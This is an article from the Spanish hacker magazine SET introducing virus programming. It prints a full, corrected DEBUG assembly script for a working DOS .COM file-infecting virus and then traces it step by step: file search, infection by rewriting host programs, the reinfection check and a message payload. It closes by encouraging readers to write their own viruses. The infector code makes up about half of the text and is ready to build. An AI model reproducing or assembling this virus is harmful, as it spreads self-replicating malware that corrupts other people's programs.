SET 39 Call For Papers

¿Eres un hacker? Si deseas pasar a formar parte de la historia del hacking hispano, colabora con la próxima edición de SET 39 enviándonos un artículo. No esperes más, esta es tu oportunidad de demostrar lo que sabes. Ayúdanos a construir una revista de hackers para hackers. SET Staff

Introduccion a la programacion de Virus

      3501

Autor: Episiarca
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII
o 06. INTRODUCCION A LA PROGRAMACION DE VIRUS                               o
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII


Hola, soy Episiarca y voy a introducir un poco el tema de la programacion de
virus para aquellos que no saben mucho sobre ensamblador y Virus.

Los Virus se programan en ensamblador, por eso mismo es necesario un
conocimiento minimo de este lenguaje. Por ahora es suficiente con conocer las
instrucciones basicas como las de salto, comparacion y movimiento de datos.

Todo el mundo sabe lo que es un Virus, pero veamos uno por dentro :-). El
primer virus lo vi en una revista ya desaparecida, Amstrad User. Ellos
publicaron un peque€o Virus que luego seria conocido como el Virus Amstrad, al
parecer intentaron colarlo en los ordenadores de la revista :-?. Por cierto, el
Virus es de lo mas tonto, solo lo voy a utilizar como ejemplo, pero es muy malo
como Virus, no restaura la fecha del fichero, no comprueba los atributos de
lectura/escritura, no mira si el tama€o del fichero es muy grande ... El script
original contenia un error, el que voy a poner es correcto. Para obtener un
fichero ejecutable basta con poner:

DEBUG < V1RV.DBG

---------------------------------------------------------------------------
a
JMP     0116
NOP
DEC     CX
PUSH    SI
ADD     [BP+SI],CH
CS:
INC     BX
DEC     DI
DEC     BP
ADD     [BX+04],CL
ADD     [BX+SI],AL
ADD     [BX+SI],AX
ADD     [BX+SI],AL
ADD     [BX+SI],AL
MOV     AX,CS
ADD     AX,1000
MOV     ES,AX
INC     BYTE PTR [0105]
MOV     SI,0100
XOR     DI,DI
MOV     CX,014F
REPZ
MOVSB
MOV     DX,025F
MOV     AH,1A
INT     21
MOV     DX,0106
MOV     CX,0016
MOV     AH,4E
INT     21
JB      019E
MOV     DX,027D
MOV     AX,3D02
INT     21
MOV     [0114],AX
MOV     BX,AX
PUSH    ES
POP     DS
MOV     DX,034F
MOV     CX,FFFF
MOV     AH,3F
INT     21
ADD     AX,034F
CS:
MOV     [0112],AX
DS:
CMP     WORD PTR [0352],5649
JZ      0188
XOR     CX,CX
MOV     DX,CX
CS:
MOV     BX,[0114]
MOV     AX,4200
INT     21
JB      0188
MOV     DX,0000
CS:
MOV     CX,[0112]
CS:
MOV     BX,[0114]
MOV     AH,40
INT     21
CS:
MOV     BX,[0114]
MOV     AH,3E
INT     21
PUSH    CS
POP     DS
MOV     AH,4F
MOV     DX,025F
INT     21
JB      019E
JMP     013E
MOV     DX,0080
MOV     AH,1A
INT     21
CMP     BYTE PTR [0105],05
JB      0207
MOV     AX,0040
MOV     DS,AX
MOV     AX,[006C]
PUSH    CS
POP     DS
AND     AX,0001
JZ      0207
MOV     DX,01C4
MOV     AH,09
INT     21
INT     20
INC     BP
DB      6E
AND     [SI+75],DH
AND     [BX+SI+43],DL
AND     [BX+SI+61],CH
JNS     01F1
JNZ     0241
AND     [BP+69],DH
JB      024D
JNB     01FA
PUSH    DX
PUSH    SI
XOR     [SI],BP
AND     [BX+DI+20],BH
XOR     BYTE PTR [BP+DI+74],61
AND     [DI+73],AH
AND     [BP+DI+75],DH
AND     [BX+DI+75],DH
DB      69
DB      6E
JZ      0253
AND     [BX+65],AH
DB      6E
DB      65
JB      025A
DB      63
DB      69
MOV     [206E],AL
ADD     [BX+SI],SP
AND     [BX+SI],AH
AND     [BX+SI],AH
OR      CL,[DI]
AND     AL,BE
AND     AL,02
MOV     CX,002B
XOR     DI,DI
REPZ
MOVSB
XOR     DI,DI
CS:
MOV     WORD PTR [010E],0000
CS:
MOV     [0110],ES
CS:
JMP     FAR [010E]
PUSH    DS
POP     ES
MOV     SI,044F
CMP     BYTE PTR [0105],01
JNZ     0234
SUB     SI,0200
MOV     DI,0100
MOV     CX,FFFF
SUB     CX,SI
REPZ
MOVSB
CS:
MOV     WORD PTR [0100],0100
CS:
MOV     [0102],DS
CS:
JMP     FAR [0100]
INT     20

n v1rv.com
r cx
151
w
q
---------------------------------------------------------------------------

Lo mejor que puedes hacer ahora es ejecutar el Virus paso a paso con el propio
DEBUG. Ejecuta el DEBUG, cuando salga el cursor (-) indicale el nombre del
fichero a cargar (n v1rv.com) y leelo (l). En el registro BX,CX tienes el
tama€o en bytes del programa cargado, para ver el contenido de los registros
utiliza el comando (r). Fijate que BX vale 0000 y CX vale 0151, es decir, el
tama€o del programa es de 337 bytes (el valor de CX esta en hexa).

Utilizaremos las ordenes (t) y (p) para tracear el Virus, la diferencia entre
(t) y (p) es que la primera ejecuta el programa instruccion a instruccion,
metiendose dentro de las CALL y de las INT, mientras que (p) ejecuta de un
golpe las CALL y las INT. Para una instruccion cualquiera (exceptuado CALL/INT)
las dos ordenes se pueden usar indistintamente.

Empecemos con la (p), se ha producido un salto a la direccion 116 (en hexa).

        JMP 116
        ... ...
116:    MOV     AX,CS
        ADD     AX,1000
        MOV     ES,AX
        INC     BYTE PTR [0105]
        MOV     SI,0100
        XOR     DI,DI
        MOV     CX,014F
        REPZ
        MOVSB

Las tres primeras instrucciones tras el salto ponen en ES la direccion del
segmento que dista 64Kb del actual. Espero que comprendas esto :-)), si no es
que hay que pegar un repaso a la segmentacion de los procesadores Intel.

* REPASO: Los procesadores Intel utilizan un esquema basado en la segmentacion
* para direccionar la memoria. El esquema Intel es diferente a la segmentacion
* clasica. Cada semento es de 64Kb, pero no estan de forma consecutiva en la
* memoria, estan sobrelapados, distando cada comienzo de segmento un parrafo
* (16 bytes). Es decir, si tenemos una direccion SEG:OFF, el siguiente segmento
* comienza en (SEG+01h):OFF o en SEG:(OFF+10h). Date cuenta que lienalmente es
* la misma direccion: (SEG+01h)*10h+OFF = SEG*10h+10h+OFF = SEG*10h+(OFF+10h) 
* = SEG:(OFF+10h).
* Bueno... seguro que sabes que la direccion segmentada se pasa a lineal si
* multiplicas el segmento por 16 (10h) y le sumas el desplazamiento.

La cuarta incrementa un contador, simplemente recuerda por ahora que esta en la
direccion DS:0105h, luevo veremos para que lo usa.

El resto, 5 instrucciones, copian el virus en el segmento calculado. La
instruccion REPZ MOVSB copia CX bytes desde DS:SI a ES:DI. Como DS apunta al
mismo segmento que CS y SI vale 100h, estamos compiando CS:100h que es la
direccion del principio del Virus. El registro CX vale 14fh, es decir, el
tama€o del Virus, ya que los dos ultimos bytes (CDh 20h) corresponden al codigo
del programa que hemos infectado. La direccion de destino es ES:DI, el valor de
ES es conocido, DI vale 0000h.

Pasamos a ver las 3 siguientes.

        MOV     DX,025F
        MOV     AH,1A
        INT     21

Esta es una interrupcion 21h con servicio 1ah, para saber que significa podemos
consultar las listas de Ralf Brown. Este servicio se encarga de establecer la
direccion del DTA en DS:DX. El DTA es una zona de memoria que por defecto se
encuentra en DS:0080h (PSP), se usa como registro para contener informacion que
devuelven otros servicios, como el de buscar ficheros por un directorio.
El tama€o maximo del DTA va a ser de 128 bytes... un momento... ahora estamos
estableciendo una zona de memoria que va ha ser escrita por otros servicios en
la direccion DS:025fh 8-O !!!, ­ pero si en esa direccion puede existir parte
del programa infectado !, XDD, tranqui, ya veremos como solucionar esto.

        MOV     DX,0106
        MOV     CX,0016
        MOV     AH,4E
        INT     21
        JB      019E

Esta funcion hace uso del DTA, es la encargada de buscar ficheros, junto a su
hermana el servicio 4fh. Veamos, en CX espera los atributos para la busqueda,
su patron es el siguiente:

        76543210
        00XXXXXX

El 7 y 6 estan reservados, 5 es el bit de archivo, 4 de subdirectorio, el bit 3
es el de la etiqueta de volumen, el 2 archivo de sistema, 1 archivo oculto y 0
el de solo lectura. Pues bien, el servicio 4eh pide que especifiquemos que
atributos debe tener los ficheros que vamos a buscar, 16h en binario es 10110,
es decir, busca los ficheros ocultos, de sistema y subdirectorios, aparte de
los normales. [ Yo considero que buscar los subdirectorios es un error del
programa, ya que no hay uso de los servicios de directorio ].

En DS:DX se debe almacenar el patron de busqueda en una cadena ASCIIZ (termina
en 00h). Para ver el patron que usa pongamos (d ds:106)... :-) '*.COM',00h. Si
no encuentra ninguno devuelve el bit del carry a 1, el programa salta a 019eh.

El servicio 4eh/4fh almacena en la DTA la siguiente info:

        Bytes           Finalidad
        -----           ---------
        0-20            Reservados
        21              Atributo del fichero
        22-23           Hora del fichero:
                          Bits 0bh-0fh = horas (0-23)
                          Bits 05h-0ah = minutos (0-59)
                          Bits 00h-04h = incrementos de 2 segundos (0-29)
        24-25           Fecha de fichero:
                          Bits 09h-0fh = a€o (respecto a 1980)
                          Bits 05h-08h = mes (1-12)
                          Bits 00h-04h = dia (1-31)
        26-29           Tama€o del fichero
        30-42           Nombre y extension en ASCIIZ

Bien, supongamos que encuentra un fichero '*.COM', en ese caso ejecutaria la
siguiente seccion de codigo:

        MOV     DX,027D
        MOV     AX,3D02
        INT     21
        MOV     [0114],AX
        MOV     BX,AX

Es decir, abre el fichero de nombre DS:DX para lectura/escritura. Como ves, DX
apunta a la zona del DTA referente al nombre del fichero :-). A la vuelta, este
servicio pone en AX el file-handle del fichero, lo guarda en DS:0114h y lo pone
en BX.

        PUSH    ES
        POP     DS
        MOV     DX,034F
        MOV     CX,FFFF
        MOV     AH,3F
        INT     21
        ADD     AX,034F
        CS:
        MOV     [0112],AX

Las dos primeras instrucciones ponen DS igual a ES y a continuacion lee todo el
fichero COM en DS:DX. Pone el codigo del programa al final del Virus, dejando
0200h bytes de espacio. Precisamente este espacio lo deja el Virus para poder
almacenar la DTA en la siguiente infeccion.

El numero de bytes leido se devuelve en AX, valor al que le suma 034fh, que es
el tama€o del virus mas esos 0200h. El tama€o total lo almacena en CS:0112h.

        DS:
        CMP     WORD PTR [0352],5649
        JZ      0188

El Virus, para no reinfectar un programa, mira el cuarto y el quinto byte, si
valen I y V respectivamente quiere decir que el programa ya tenia el Virus y no
lo infecta otra vez.

        XOR     CX,CX
        MOV     DX,CX
        CS:
        MOV     BX,[0114]
        MOV     AX,4200
        INT     21
        JB      0188

Este trozo hace que el puntero de lectura/escritura del fichero apunte de nuevo
al principio del mismo, ya que reescriviremos todo el programa. Recuerda que en
la direccion 0114h tenemos el file-handle del fichero.

        MOV     DX,0000
        CS:
        MOV     CX,[0112]
        CS:
        MOV     BX,[0114]
        MOV     AH,40
        INT     21
        CS:
        MOV     BX,[0114]
        MOV     AH,3E
        INT     21

Aqui esta la verdadera infeccion :-), escribe el fichero desde el principio con
el nuevo tama€o y al final lo cierra. Ahora ya tenemos el programa infectado,
pasemos al siguiente :-).

        PUSH    CS
        POP     DS
        MOV     AH,4F
        MOV     DX,025F
        INT     21
        JB      019E
        JMP     013E

Esto restaura el valor de DS, para que apunte a CS. Luego continua la busqueda
de los ficheros (4fh). Curioso error, pone en DX el valor 025fh que es donde se
encuentra la DTA, pero eso no hace falta (tonto, desperdicia preciosos bytes).

Si encuentra algun otro fichero salta a la direccion 013eh y comienza de nuevo
todo el proceso, si no encuentra mas fichero salta a la 019eh.

        MOV     DX,0080
        MOV     AH,1A
        INT     21

Si no encuentra mas ficheros reestablece la direccion de la DTA. Esto es
importante.

        CMP     BYTE PTR [0105],05
        JB      0207
        MOV     AX,0040
        MOV     DS,AX
        MOV     AX,[006C]
        PUSH    CS
        POP     DS
        AND     AX,0001
        JZ      0207
        MOV     DX,01C4
        MOV     AH,09
        INT     21
        INT     20

šRecuerdas que al principio el Virus incremento el byte de la 0105h?, es un
contador de reproducciones, indica cuantas veces se ha reproducido el Virus.
Ahora lo compara con 5, si es menor no hace nada, pero si es igual o mayor mira
el bit 0 del contador de clicks del sistema (0040h:006ch), si vale 1 imprime un
mensajito muy tonto, para verlo pon (d1c4), dice lo siguiente: 'En tu PC hay un
virus RV1, y esta es su quinta generacion', acompa€ado del caracter 01h (una
carita), al final sale al DOS.

        MOV     SI,0224
        MOV     CX,002B
        XOR     DI,DI
        REPZ
        MOVSB
        XOR     DI,DI
        CS:
        MOV     WORD PTR [010E],0000
        CS:
        MOV     [0110],ES
        CS:
        JMP     FAR [010E]

Ya estamos cerca del final, desde ahora el Virus se va a encargar de preparar
la memoria para poder ejecutar el programa que tiene adosado. Para ello copia
un mini programa de 2bh bytes, que comienza en cs:0224, al principio del nuevo
segmento. Por ultimo pega un salto a ES:0000h, es decir, al mini programa.

        PUSH    DS
        POP     ES
        MOV     SI,044F
        CMP     BYTE PTR [0105],01
        JNZ     0234
        SUB     SI,0200
        MOV     DI,0100
        MOV     CX,FFFF
        SUB     CX,SI
        REPZ
        MOVSB
        CS:
        MOV     WORD PTR [0100],0100
        CS:
        MOV     [0102],DS
        CS:
        JMP     FAR [0100]

Este es el programa que pasa a ejecutar. Primero iguala los registros de datos
y extra con el de codigo. Ahora viene un detalle que me hace sospechar que los
programadores del virus fueron los de la revista: ajusta SI dependiendo de si
es su primera reproduccion o no (en la revista publicaron uno en su primera
reproduccion, es decir, nunca se habia reproducido). Lo principal de este trozo
es que copia el codigo del programa infectado al principio del segmento, 0100h,
y salta a la primera instruccion del programa. Este se ejecuta como si nada.

Bueno esto es todo. Hemos analizado con detenimiento un Virus muy simple y con
fallos en su programacion. Existe otra tecnica para infectar programa COM que
con un poco de suerte la podremos ver en otra entrega. Infectar los EXE no es
mucho mas dificil :-).

Por ultimo, no me seais lamerillos y si programais un Virus hacedlo desde el
principio, no os conformeis con arreglar este fuente }:-).

                                                                Episiarca